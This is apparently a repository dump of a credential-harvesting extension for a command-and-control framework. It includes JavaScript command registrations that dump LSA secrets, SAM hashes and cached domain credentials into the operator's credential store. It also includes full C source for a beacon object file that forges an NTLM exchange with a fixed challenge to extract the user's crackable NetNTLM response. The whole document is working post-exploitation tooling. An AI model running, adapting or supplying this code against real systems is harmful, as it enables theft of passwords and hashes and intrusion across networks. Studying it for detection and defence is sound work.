}\n                }\n\n                currentSecret = {name: secretName, lineIndex: i};\n                currentService = null;\n                currentUsername = null;\n                continue;\n            }\n\n            if (currentSecret) {\n                let serviceMatch = line.match(/service\\s+'([^']+)'\\s+with\\s+username\\s+:\\s+(.+)/);\n                if (serviceMatch) {\n                    currentService = serviceMatch[1];\n                    currentUsername = serviceMatch[2].trim();\n                }\n            }\n        }\n\n        if (currentSecret && currentService && currentUsername) {\n            for (let j = currentSecret.lineIndex + 1; j < lines.length; j++) {\n                let pwdLine = lines[j];\n\n                if (pwdLine.match(/Secret\\s+:/)) break;\n\n                let curMatch = pwdLine.match(/cur\\/text:\\s+(.+)/);\n                if (curMatch) {\n                    let password = curMatch[1].trim();\n                    if (password && password.length > 0 && !password.includes(\"Cached domain credentials key\")) {\n                        let domain = \"\";\n                        let user = currentUsername;\n                        if (currentUsername.includes(\"\\\\\")) {\n                            let parts = currentUsername.split(\"\\\\\");\n                            domain = parts[0];\n                            user = parts.slice(1).join(\"\\\\\");\n                        }\n                        let credKey = `${currentService}:${user}:${password}:cur`;\n                        if (!processedSecrets.has(credKey)) {\n                            processedSecrets.add(credKey);\n                            let tag = domain ? `${domain} / ${currentService}` : currentService;\n                            ax.credentials_add(user, password, \"\", \"plaintext\", tag, \"LSA Secret\", `${computer} (${address})`);\n                            credentialsAdded++;\n                        }\n                    }\n                }\n\n                let oldMatch = pwdLine.match(/old\\/text:\\s+(.+)/);\n                if (oldMatch) {\n                    let password = oldMatch[1].trim();\n                    if (password && password.length > 0 && !password.includes(\"Cached domain credentials key\")) {\n                        let domain = \"\";\n                        let user = currentUsername;\n                        if (currentUsername.includes(\"\\\\\")) {\n                            let parts = currentUsername.split(\"\\\\\");\n                            domain = parts[0];\n                            user = parts.slice(1).join(\"\\\\\");\n                        }\n                        let credKey = `${currentService}:${user}:${password}:old`;\n                        if (!processedSecrets.has(credKey)) {\n                            processedSecrets.add(credKey);\n                            let tag = domain ? `${domain} / ${currentService}` : currentService;\n                            ax.credentials_add(user, password, \"\", \"plaintext\", tag, \"LSA Secret (old)\", `${computer} (${address})`);\n                            credentialsAdded++;\n                        }\n                    }\n                }\n            }\n        }\n\n        return task;\n    }\n    let bof_path = ax.script_dir() + \"_bin/lsadump_secrets.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"BOF: lsadump::secrets\", hook);\n});\n\n\nvar cmd_lsadump_sam = ax.create_command(\"lsadump_sam\", \"Dump SAM hashes (requires admin)\", \"lsadump_sam\");\ncmd_lsadump_sam.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let hook = function (task) {\n        let agent = ax.agents()[task.agent];\n        let computer = agent[\"computer\"];\n        let address = agent[\"internal_ip\"];\n\n        let match;\n        let regex = /^([a-zA-Z0-9_\\-]+):(\\d+):([a-fA-F0-9]{32})$/gm;\n        while ((match = regex.exec(task.text)) !== null) {\n            ax.credentials_add(match[1], match[3], \"\", \"ntlm\", \"\", \"SAM\", `${computer} (${address})`);\n        }\n        return task;\n    }\n    let bof_path = ax.script_dir() + \"_bin/lsadump_sam.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"BOF: lsadump::sam\", hook);\n});\n\n\nvar cmd_lsadump_cache = ax.create_command(\"lsadump_cache\", \"Dump cached domain credentials (DCC2/MSCacheV2, requires SYSTEM)\", \"lsadump_cache\");\ncmd_lsadump_cache.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let hook = function (task) {\n        let agent = ax.agents()[task.agent];\n        let computer = agent[\"computer\"];\n        let address = agent[\"internal_ip\"];\n\n        let match;\n        // Match: MsCacheV2 : <hash>\n        let regex = /User\\s+:\\s+([^\\\\\\n]+)\\\\([^\\n]+)\\nMsCacheV2\\s+:\\s+([a-fA-F0-9]{32})/gm;\n        while ((match = regex.exec(task.text)) !== null) {\n            let domain = match[1];\n            let username = match[2];\n            let hash = match[3];\n            ax.credentials_add(username, hash, \"\", \"dcc2\", domain, \"DCC2\", `${computer} (${address})`);\n        }\n        return task;\n    }\n    let bof_path = ax.script_dir() + \"_bin/lsadump_cache.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"BOF: lsadump::cache\", hook);\n});\n\n\n\nvar cmd_underlaycopy = ax.create_command(\"underlaycopy\", \"Copy file using low-level NTFS access (MFT or Metadata mode)\", \"underlaycopy MFT C:\\\\Windows\\\\System32\\\\notepad.exe -w C:\\\\temp\\\\notepad_copy.exe\");\ncmd_underlaycopy.addArgString(\"mode\", true, \"Copy mode: MFT or Metadata\");\ncmd_underlaycopy.addArgString(\"source\", true, \"Source file path\");\ncmd_underlaycopy.addArgFlagString(\"-w\", \"destination\", \"Destination file path (required if --download is not used)\", \"\");\ncmd_underlaycopy.addArgBool(\"--download\", \"Download file to server instead of saving to disk\");\ncmd_underlaycopy.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let mode = parsed_json[\"mode\"];\n    let source = parsed_json[\"source\"];\n    let dest = parsed_json[\"destination\"] || \"\";\n    let download = parsed_json[\"--download\"] ? 1 : 0;\n    if (mode !== \"MFT\" && mode !== \"Metadata\") {\n        ax.console_message(id, \"Error: Mode must be 'MFT' or 'Metadata'\", \"error\");\n        return;\n    }\n    // If destination starts with '--', it's likely a flag, not a destination path\n    if (dest && dest.startsWith(\"--\")) {\n        dest = \"\";\n    }\n\n    if (!download && !dest) {\n        ax.console_message(id, \"Error: Either destination path or --download option must be provided\", \"error\");\n        return;\n    }\n\n    // Always pass destination (empty string if not provided)\n    // The order matters: mode, source, dest, download\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr,int\", [mode, source, dest || \"\", download]);\n    let bof_path = ax.script_dir() + \"_bin/underlaycopy.\" + ax.arch(id) + \".o\";\n\n    let task_desc = download ? \"Task: UnderlayCopy file copy and download to server\" : \"Task: UnderlayCopy file copy\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, task_desc);\n});\n\n\n\nvar group_test = ax.create_commands_group(\"Creds-BOF\", [\n    cmd_askcreds, cmd_get_ntlm, cmd_hashdump, cmd_cookie_monster,\n    cmd_nanodump, cmd_nanodump_ppl_dump, cmd_nanodump_ppl_medic, cmd_nanodump_ssp, cmd_underlaycopy,\n    cmd_lsadump_secrets, cmd_lsadump_sam, cmd_lsadump_cache\n]);\nax.register_commands_group(group_test, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"], []);\n\n\n\n/// MENU\n\nlet hashdump_access_action = menu.create_action(\"SAM hashdump\", function(agents_id) { agents_id.forEach(id => ax.execute_command(id, \"hashdump\")) });\nmenu.add_session_access(hashdump_access_action, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"]);"
  },
  {
    "path": "Creds-BOF/get-netntlm/get-netntlm.c",
    "content": "#define SECURITY_WIN32\n#include <windows.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <security.h>\n#include <stdint.h>\n#include \"beacon.h\"\n\nWINBASEAPI void __cdecl MSVCRT$free(void *_Memory);\nWINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str);\nWINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T);\nWINBASEAPI _CRTIMP int __cdecl MSVCRT$sscanf_s(const char *_Src,const char *_Format,...);\nWINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...);\nWINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements);\nWINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount);\nWINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);\nDECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleA(LPCTSTR, LPCTSTR, ULONG, PLUID, PVOID, SEC_GET_KEY_FN, PVOID, PCredHandle, PTimeStamp);\nDECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$InitializeSecurityContextA(PCredHandle, PCtxtHandle, SEC_CHAR *, ULONG, ULONG, ULONG, PSecBufferDesc, ULONG, PCtxtHandle, PSecBufferDesc, PULONG, PTimeStamp);\nWINBASEAPI SECURITY_STATUS WINAPI SECUR32$AcceptSecurityContext( PCredHandle phCredential, PCtxtHandle phContext, PSecBufferDesc pInput, ULONG fContextReq, ULONG TargetDataRep, PCtxtHandle phNewContext, PSecBufferDesc pOutput, ULONG *pfContextAttr, PTimeStamp ptsExpiry );\nWINBASEAPI SECURITY_STATUS WINAPI SECUR32$FreeCredentialsHandle(PCredHandle phCredential);\nWINBASEAPI SECURITY_STATUS WINAPI SECUR32$DeleteSecurityContext(PCtxtHandle phContext);\n\nint my_isdigit(int c) {\n    return (c >= '0' && c <= '9');\n}\n\nint my_islower(int c) {\n    return (c >= 'a' && c <= 'z');\n}\n\nlong int my_strtol(const char* str, char** endptr, int base) {\n    long int result = 0;\n    int sign = 1;\n\n    if (*str == '-' || *str == '+') {\n        sign = (*str == '-') ? -1 : 1;\n        str++;\n    }\n\n    while (my_isdigit(*str) ||\n           (base == 16 && (*str >= 'a' && *str <= 'f')) ||\n           (base == 16 && (*str >= 'A' && *str <= 'F'))) {\n        int digit = 0;\n        if (my_isdigit(*str)) {\n            digit = *str - '0';\n        }\n        else if (base == 16) {\n            digit = (my_islower(*str) ? (*str - 'a' + 10) : (*str - 'A' + 10));\n        }\n\n        if (digit >= base)\n            break;\n\n        if (result > (LONG_MAX - digit) / base) {\n            if (sign == 1)\n                return LONG_MAX;\n            else\n                return LONG_MIN;\n        }\n\n        result = result * base + digit;\n        str++;\n    }\n\n    if (endptr != NULL)\n        *endptr = (char*)str;\n\n    return result * sign;\n}\n\n#define MAX_TOKEN_SIZE 12288\n\nBOOL IsCredHandleValid(CredHandle *phCred)\n{\n    return phCred && (phCred->dwLower != (ULONG_PTR) -1) && (phCred->dwUpper != (ULONG_PTR) -1);\n}\n\nBOOL IsCtxtHandleValid(CtxtHandle *phCtx)\n{\n    return phCtx && (phCtx->dwLower != (ULONG_PTR) -1) && (phCtx->dwUpper != (ULONG_PTR) -1);\n}\n\nBYTE* StringToByteArray(const char* hex) {\n    if (!hex) return NULL;\n\n    size_t numChars = MSVCRT$strlen(hex);\n    if (numChars == 0) return NULL;\n\n    if (numChars % 2 != 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"StringToByteArray: hex string has odd length: %zu\\n\", numChars);\n        return NULL;\n    }\n\n    size_t outLen = numChars / 2;\n    BYTE* bytes = (BYTE*)MSVCRT$calloc(outLen, sizeof(BYTE));\n    if (!bytes) {\n        BeaconPrintf(CALLBACK_ERROR, \"StringToByteArray: calloc failed for %zu bytes\\n\", outLen);\n        return NULL;\n    }\n\n    for (size_t i = 0; i < outLen; ++i) {\n        char buf[3] = { hex[i*2], hex[i*2 + 1], '\\0' };\n        char* endptr = NULL;\n        long v = my_strtol(buf, &endptr, 16);\n        if (endptr == buf || v < 0 || v > 0xFF) {\n            MSVCRT$free(bytes);\n            BeaconPrintf(CALLBACK_ERROR, \"StringToByteArray: invalid hex at pos %zu\\n\", i*2);\n            return NULL;\n        }\n        bytes[i] = (BYTE)v;\n    }\n\n    return bytes;\n}\n\nchar* ByteArrayToString(const unsigned char* ba, size_t ba_length) {\n    if (!ba) return NULL;\n\n    size_t needed = ba_length * 2 + 1;\n    char * hex = (char *)MSVCRT$calloc(needed, sizeof(char));\n    if (!hex) {\n        BeaconPrintf(CALLBACK_ERROR, \"ByteArrayToString: calloc failed for %zu bytes\\n\", needed);\n        return NULL;\n    }\n\n    for (size_t i = 0; i < ba_length; ++i) {\n        MSVCRT$sprintf(hex + i * 2, \"%02x\", ba[i]);\n    }\n    hex[ba_length * 2] = '\\0';\n    return hex;\n}\n\nchar* ByteArrayToUnicodeString(const BYTE* ba, size_t ba_length) {\n    if (!ba) return NULL;\n    if (ba_length == 0) return NULL;\n\n    size_t unicode_chars = ba_length / 2;\n    char * str = (char *)MSVCRT$calloc(unicode_chars + 1, sizeof(char));\n    if (!str) {\n        BeaconPrintf(CALLBACK_ERROR, \"ByteArrayToUnicodeString: calloc failed\\n\");\n        return NULL;\n    }\n\n    for (size_t i = 0; i < unicode_chars; ++i) {\n        str[i] = (char)ba[i * 2];\n    }\n\n    str[unicode_chars] = '\\0';\n    return str;\n}\n\nchar* FormatNTLMv2Hash(const char* challenge, const BYTE* user, size_t user_length, const BYTE* domain, size_t domain_length, const BYTE* nt_resp, size_t nt_resp_len) {\n    if (!challenge || !user || !domain || !nt_resp) return NULL;\n\n    char * user_str = ByteArrayToUnicodeString(user, user_length);\n    char * domain_str = ByteArrayToUnicodeString(domain, domain_length);\n    if (!user_str || !domain_str) {\n        if (user_str) MSVCRT$free(user_str);\n        if (domain_str) MSVCRT$free(domain_str);\n        return NULL;\n    }\n\n    char * nt1 = ByteArrayToString(nt_resp, 16);\n    char * nt2 = NULL;\n    if (nt_resp_len > 16) nt2 = ByteArrayToString(nt_resp + 16, nt_resp_len - 16);\n    else nt2 = ByteArrayToString((const unsigned char*)\"\", 0);\n\n    if (!nt1 || !nt2) {\n        MSVCRT$free(user_str);\n        MSVCRT$free(domain_str);\n        if (nt1) MSVCRT$free(nt1);\n        if (nt2) MSVCRT$free(nt2);\n        return NULL;\n    }\n\n    size_t needed = MSVCRT$strlen(user_str) + 2 + MSVCRT$strlen(domain_str) + 1 + MSVCRT$strlen(challenge) + 1 +\n                    MSVCRT$strlen(nt1) + 1 + MSVCRT$strlen(nt2) + 1;\n    char * result = (char *)MSVCRT$calloc(needed, sizeof(char));\n    if (!result) {\n        BeaconPrintf(CALLBACK_ERROR, \"FormatNTLMv2Hash: calloc failed\\n\");\n        MSVCRT$free(user_str); MSVCRT$free(domain_str); MSVCRT$free(nt1); MSVCRT$free(nt2);\n        return NULL;\n    }\n\n    MSVCRT$sprintf(result, \"%s::%s:%s:%s:%s\", user_str, domain_str, challenge, nt1, nt2);\n\n    MSVCRT$free(user_str);\n    MSVCRT$free(domain_str);\n    MSVCRT$free(nt1);\n    MSVCRT$free(nt2);\n\n    return result;\n}\n\nchar* FormatNTLMv1Hash(const char* challenge, const BYTE* user, size_t user_length, const BYTE* domain, size_t domain_length, const BYTE* lm_resp, size_t lm_resp_len, const BYTE* nt_resp, size_t nt_resp_len) {\n    if (!challenge || !user || !domain || !lm_resp || !nt_resp) return NULL;\n\n    char * user_str = ByteArrayToUnicodeString(user, user_length);\n    char * domain_str = ByteArrayToUnicodeString(domain, domain_length);\n    if (!user_str || !domain_str) {\n        if (user_str) MSVCRT$free(user_str);\n        if (domain_str) MSVCRT$free(domain_str);\n        return NULL;\n    }\n\n    char * lm_str = ByteArrayToString(lm_resp, lm_resp_len);\n    char * nt_str = ByteArrayToString(nt_resp, nt_resp_len);\n    if (!lm_str || !nt_str) {\n        MSVCRT$free(user_str); MSVCRT$free(domain_str);\n        if (lm_str) MSVCRT$free(lm_str);\n        if (nt_str) MSVCRT$free(nt_str);\n        return NULL;\n    }\n\n    size_t needed = MSVCRT$strlen(user_str) + 2 + MSVCRT$strlen(domain_str) + 1 + MSVCRT$strlen(lm_str) + 1 + MSVCRT$strlen(nt_str) + 1 + MSVCRT$strlen(challenge) + 1;\n    char * result = (char *)MSVCRT$calloc(needed, sizeof(char));\n    if (!result) {\n        BeaconPrintf(CALLBACK_ERROR, \"FormatNTLMv1Hash: calloc failed\\n\");\n        MSVCRT$free(user_str); MSVCRT$free(domain_str); MSVCRT$free(lm_str); MSVCRT$free(nt_str);\n        return NULL;\n    }\n\n    MSVCRT$sprintf(result, \"%s::%s:%s:%s:%s\", user_str, domain_str, lm_str, nt_str, challenge);\n\n    MSVCRT$free(user_str);\n    MSVCRT$free(domain_str);\n    MSVCRT$free(lm_str);\n    MSVCRT$free(nt_str);\n\n    return result;\n}\n\nBYTE* GetSecBufferByteArray(const SecBufferDesc* pSecBufferDesc, size_t* pBufferSize) {\n    if (!pSecBufferDesc) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetSecBufferByteArray: SecBufferDesc pointer cannot be null\\n\");\n        return NULL;\n    }\n\n    if (!pBufferSize) return NULL;\n    *pBufferSize = 0;\n\n    if (pSecBufferDesc->cBuffers != 1) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetSecBufferByteArray: unexpected cBuffers = %u\\n\", pSecBufferDesc->cBuffers);\n        return NULL;\n    }\n\n    SecBuffer* pSecBuffer = pSecBufferDesc->pBuffers;\n    if (!pSecBuffer) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetSecBufferByteArray: pBuffers is NULL\\n\");\n        return NULL;\n    }\n\n    if (pSecBuffer->cbBuffer == 0 || pSecBuffer->pvBuffer == NULL) {\n        return NULL;\n    }\n\n    if (pSecBuffer->cbBuffer > MAX_TOKEN_SIZE * 4) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetSecBufferByteArray: cbBuffer too large: %u\\n\", pSecBuffer->cbBuffer);\n        return NULL;\n    }\n\n    BYTE* buffer  = (BYTE *)MSVCRT$calloc(pSecBuffer->cbBuffer, sizeof(BYTE));\n    if (!buffer) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetSecBufferByteArray: calloc failed\\n\");\n        return NULL;\n    }\n\n    MSVCRT$memcpy(buffer, pSecBuffer->pvBuffer, pSecBuffer->cbBuffer);\n    *pBufferSize = pSecBuffer->cbBuffer;\n    return buffer;\n}\n\nvoid ParseNTResponse(BYTE* message, size_t message_len, const char* challenge) {\n    if (!message || message_len < 48) {\n        BeaconPrintf(CALLBACK_ERROR, \"ParseNTResponse: message empty or too small (%zu)\\n\", message ? message_len : 0);\n        return;\n    }\n    if (!challenge) {\n        BeaconPrintf(CALLBACK_ERROR, \"ParseNTResponse: null challenge\\n\");\n        return;\n    }\n\n    uint16_t lm_resp_len = 0;\n    uint32_t lm_resp_off = 0;\n    uint16_t nt_resp_len = 0;\n    uint32_t nt_resp_off = 0;\n    uint16_t domain_len = 0;\n    uint32_t domain_off = 0;\n    uint16_t user_len = 0;\n    uint32_t user_off = 0;\n\n    MSVCRT$memcpy(&lm_resp_len, message + 12, sizeof(lm_resp_len));\n    MSVCRT$memcpy(&lm_resp_off, message + 16, sizeof(lm_resp_off));\n    MSVCRT$memcpy(&nt_resp_len, message + 20, sizeof(nt_resp_len));\n    MSVCRT$memcpy(&nt_resp_off, message + 24, sizeof(nt_resp_off));\n    MSVCRT$memcpy(&domain_len, message + 28, sizeof(domain_len));\n    MSVCRT$memcpy(&domain_off, message + 32, sizeof(domain_off));\n    MSVCRT$memcpy(&user_len, message + 36, sizeof(user_len));\n    MSVCRT$memcpy(&user_off, message + 40, sizeof(user_off));\n\n    #define VALID_RANGE(off, len) ((size_t)(off) + (size_t)(len) <= (size_t)message_len)\n    if (!VALID_RANGE(lm_resp_off, lm_resp_len) || !VALID_RANGE(nt_resp_off, nt_resp_len) ||\n        !VALID_RANGE(domain_off, domain_len) || !VALID_RANGE(user_off, user_len)) {\n        BeaconPrintf(CALLBACK_ERROR, \"ParseNTResponse: invalid offsets/lengths (message_len=%zu)\\n\", message_len);\n        return;\n    }\n\n    BYTE* lm_resp = (BYTE *)MSVCRT$calloc(lm_resp_len ? lm_resp_len : 1, sizeof(BYTE));\n    BYTE* nt_resp = (BYTE *)MSVCRT$calloc(nt_resp_len ? nt_resp_len : 1, sizeof(BYTE));\n    BYTE* domain = (BYTE *)MSVCRT$calloc(domain_len ? domain_len : 1, sizeof(BYTE));\n    BYTE* user = (BYTE *)MSVCRT$calloc(user_len ? user_len : 1, sizeof(BYTE));\n\n    if ((!lm_resp && lm_resp_len) || (!nt_resp && nt_resp_len) || (!domain && domain_len) || (!user && user_len)) {\n        BeaconPrintf(CALLBACK_ERROR, \"ParseNTResponse: memory allocation failed\\n\");\n        if (lm_resp) MSVCRT$free(lm_resp);\n        if (nt_resp) MSVCRT$free(nt_resp);\n        if (domain) MSVCRT$free(domain);\n        if (user) MSVCRT$free(user);\n        return;\n    }\n\n    if (lm_resp_len) MSVCRT$memcpy(lm_resp, message + lm_resp_off, lm_resp_len);\n    if (nt_resp_len) MSVCRT$memcpy(nt_resp, message + nt_resp_off, nt_resp_len);\n    if (domain_len) MSVCRT$memcpy(domain, message + domain_off, domain_len);\n    if (user_len) MSVCRT$memcpy(user, message + user_off, user_len);\n\n    char* netNTLM = NULL;\n    if (nt_resp_len == 24) {\n        netNTLM = FormatNTLMv1Hash(challenge, user, user_len, domain, domain_len, lm_resp, lm_resp_len, nt_resp, nt_resp_len);\n        if (netNTLM) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"NTLMv1 Response:\\n%s\\n\", netNTLM);\n            MSVCRT$free(netNTLM);\n        } else {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to format NTLMv1 response\\n\");\n        }\n    } else if (nt_resp_len > 24) {\n        netNTLM = FormatNTLMv2Hash(challenge, user, user_len, domain, domain_len, nt_resp, nt_resp_len);\n        if (netNTLM) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"NTLMv2 Response:\\n%s\\n\", netNTLM);\n            MSVCRT$free(netNTLM);\n        } else {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to format NTLMv2 response\\n\");\n        }\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"Unknown NTLM Response (nt_resp_len=%u)\\n\", nt_resp_len);\n    }\n\n    if (lm_resp) MSVCRT$free(lm_resp);\n    if (nt_resp) MSVCRT$free(nt_resp);\n    if (domain) MSVCRT$free(domain);\n    if (user) MSVCRT$free(user);\n}\n\nvoid GetNTLMCreds(const char* challenge, BOOL DisableESS){\n\n    if (!challenge) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetNTLMCreds: challenge is NULL\\n\");\n        return;\n    }\n\n    SecBufferDesc ClientToken;\n    SecBuffer ClientSecBuffer;\n\n    ClientToken.cBuffers = 1;\n    ClientToken.ulVersion = SECBUFFER_VERSION;\n    ClientToken.pBuffers = &ClientSecBuffer;\n    ClientSecBuffer.cbBuffer = MAX_TOKEN_SIZE;\n    ClientSecBuffer.pvBuffer = (BYTE *)MSVCRT$calloc(MAX_TOKEN_SIZE, 1);\n    ClientSecBuffer.BufferType = SECBUFFER_TOKEN;\n\n    SecBufferDesc ServerToken;\n    SecBuffer ServerSecBuffer;\n    ServerToken.cBuffers = 1;\n    ServerToken.ulVersion = SECBUFFER_VERSION;\n    ServerToken.pBuffers = &ServerSecBuffer;\n    ServerSecBuffer.cbBuffer = MAX_TOKEN_SIZE;\n    ServerSecBuffer.pvBuffer = (BYTE *)MSVCRT$calloc(MAX_TOKEN_SIZE, 1);\n    ServerSecBuffer.BufferType = SECBUFFER_TOKEN;\n\n    if (!ClientSecBuffer.pvBuffer || !ServerSecBuffer.pvBuffer) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetNTLMCreds: failed to allocate token buffers\\n\");\n        if (ClientSecBuffer.pvBuffer) MSVCRT$free(ClientSecBuffer.pvBuffer);\n        if (ServerSecBuffer.pvBuffer) MSVCRT$free(ServerSecBuffer.pvBuffer);\n        return;\n    }\n\n    SECURITY_STATUS SecStatus = 0;\n\n    CredHandle hCred;\n    CtxtHandle hClientContext;\n    CtxtHandle hServerContext;\n\n    hCred.dwLower = (ULONG_PTR)-1; hCred.dwUpper = (ULONG_PTR)-1;\n    hClientContext.dwLower = (ULONG_PTR)-1; hClientContext.dwUpper = (ULONG_PTR)-1;\n    hServerContext.dwLower = (ULONG_PTR)-1; hServerContext.dwUpper = (ULONG_PTR)-1;\n\n    TimeStamp expiry;\n    expiry.HighPart = 0;\n    expiry.LowPart = 0;\n\n    ULONG contextAttr = 0;\n\n    SecStatus = SECUR32$AcquireCredentialsHandleA(NULL, \"NTLM\", SECPKG_CRED_BOTH, NULL, NULL, 0, NULL, &hCred, &expiry);\n    if (SecStatus != SEC_E_OK){\n        BeaconPrintf(CALLBACK_ERROR,\"AcquireCredentialsHandle failed with %x\\n\", SecStatus);\n        goto cleanup;\n    }\n\n    SecStatus = SECUR32$InitializeSecurityContextA(&hCred, NULL, NULL, ISC_REQ_CONNECTION, 0, SECURITY_NATIVE_DREP, NULL, 0, &hClientContext, &ClientToken, &contextAttr, &expiry);\n    if (SecStatus != SEC_I_CONTINUE_NEEDED && SecStatus != SEC_E_OK){\n        BeaconPrintf(CALLBACK_ERROR,\"InitializeSecurityContext (initial) failed with %x\\n\", SecStatus);\n        goto cleanup;\n    }\n\n    SecStatus = SECUR32$AcceptSecurityContext(&hCred, NULL, &ClientToken, ISC_REQ_CONNECTION, SECURITY_NATIVE_DREP, &hServerContext, &ServerToken, &contextAttr, &expiry);\n    if (SecStatus != SEC_E_OK && SecStatus != SEC_I_CONTINUE_NEEDED){\n        BeaconPrintf(CALLBACK_ERROR, \"AcceptSecurityContext failed with %x\\n\", SecStatus);\n        goto cleanup;\n    }\n\n    size_t serverMessageSize = 0;\n    BYTE *serverMessage = GetSecBufferByteArray(&ServerToken, &serverMessageSize);\n    if (!serverMessage || serverMessageSize == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetNTLMCreds: failed to get server message\\n\");\n        goto cleanup;\n    }\n\n    BYTE* challengeBytes = StringToByteArray(challenge);\n    if (challengeBytes == NULL) {\n        BeaconPrintf(CALLBACK_ERROR,\"Failed to convert challenge string to byte array or invalid challenge length.\\n\");\n        goto cleanup;\n    }\n\n    if (serverMessageSize < 48) {\n        BeaconPrintf(CALLBACK_ERROR, \"Server message too small (%zu) to patch challenge/flags\\n\", serverMessageSize);\n        goto cleanup;\n    }\n\n    if (DisableESS) {\n        serverMessage[22] &= 0xF7;\n    }\n\n    MSVCRT$memcpy(serverMessage + 24, challengeBytes, 8);\n    MSVCRT$memset(serverMessage + 32, 0, 16);\n\n    SecBuffer ServerSecBuffer2;\n    ServerSecBuffer2.BufferType = SECBUFFER_TOKEN;\n    ServerSecBuffer2.cbBuffer = (ULONG)serverMessageSize;\n    ServerSecBuffer2.pvBuffer = serverMessage;\n    ServerToken.pBuffers = &ServerSecBuffer2;\n    ServerToken.cBuffers = 1;\n    ServerToken.ulVersion = SECBUFFER_VERSION;\n\n    SecBuffer ClientSecBuffer2;\n    ClientSecBuffer2.BufferType = SECBUFFER_TOKEN;\n    ClientSecBuffer2.cbBuffer = MAX_TOKEN_SIZE;\n    ClientSecBuffer2.pvBuffer = (BYTE *)MSVCRT$calloc(MAX_TOKEN_SIZE, 1);\n    if (!ClientSecBuffer2.pvBuffer) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetNTLMCreds: calloc failed for client output\\n\");\n        goto cleanup;\n    }\n    ClientToken.pBuffers = &ClientSecBuffer2;\n    ClientToken.cBuffers = 1;\n    ClientToken.ulVersion = SECBUFFER_VERSION;\n\n    SecStatus = SECUR32$InitializeSecurityContextA(&hCred, &hClientContext, NULL, ISC_REQ_CONNECTION, 0, SECURITY_NATIVE_DREP, &ServerToken, 0, &hClientContext, &ClientToken, &contextAttr, &expiry);\n    if (SecStatus == SEC_E_OK) {\n        size_t responseSize = 0;\n        BYTE* response = GetSecBufferByteArray(&ClientToken, &responseSize);\n        if (response && responseSize > 0) {\n            ParseNTResponse(response, responseSize, challenge);\n            MSVCRT$free(response);\n        } else {\n            BeaconPrintf(CALLBACK_ERROR, \"GetNTLMCreds: client response empty or extraction failed\\n\");\n        }\n    } else if (SecStatus == SEC_E_NO_CREDENTIALS) {\n        BeaconPrintf(CALLBACK_ERROR,\"The NTLM security package does not contain any credentials\\n\");\n    } else {\n        BeaconPrintf(CALLBACK_ERROR,\"InitializeSecurityContext (client) failed. Error: %x\\n\", SecStatus);\n    }\n\ncleanup:\n    if (IsCredHandleValid(&hCred)) {\n        SECUR32$FreeCredentialsHandle(&hCred);\n        hCred.dwLower = (ULONG_PTR)-1; hCred.dwUpper = (ULONG_PTR)-1;\n    }\n    if (IsCtxtHandleValid(&hClientContext)) {\n        SECUR32$DeleteSecurityContext(&hClientContext);\n        hClientContext.dwLower = (ULONG_PTR)-1; hClientContext.dwUpper = (ULONG_PTR)-1;\n    }\n    if (IsCtxtHandleValid(&hServerContext)) {\n        SECUR32$DeleteSecurityContext(&hServerContext);\n        hServerContext.dwLower = (ULONG_PTR)-1; hServerContext.dwUpper = (ULONG_PTR)-1;\n    }\n    if (ClientSecBuffer.pvBuffer != NULL)   { MSVCRT$free(ClientSecBuffer.pvBuffer); ClientSecBuffer.pvBuffer = NULL; }\n    if (ServerSecBuffer.pvBuffer != NULL)   { MSVCRT$free(ServerSecBuffer.pvBuffer); ServerSecBuffer.pvBuffer = NULL; }\n    if (ClientSecBuffer2.pvBuffer != NULL)  { MSVCRT$free(ClientSecBuffer2.pvBuffer); ClientSecBuffer2.pvBuffer = NULL; }\n    if (serverMessage != NULL)              { MSVCRT$free(serverMessage); serverMessage = NULL; }\n    if (challengeBytes != NULL)             { MSVCRT$free(challengeBytes); challengeBytes = NULL; }\n}\n\nVOID go(char* buf, int len) {\n    datap parser;\n    BeaconDataParse(&parser, buf, len);\n    BOOL DisableESS = FALSE;\n    DisableESS = BeaconDataInt(&parser);\n    GetNTLMCreds(\"1122334455667788\", DisableESS);\n}\n"
  },
  {
    "path": "Creds-BOF/hashdump/hashdump.c",
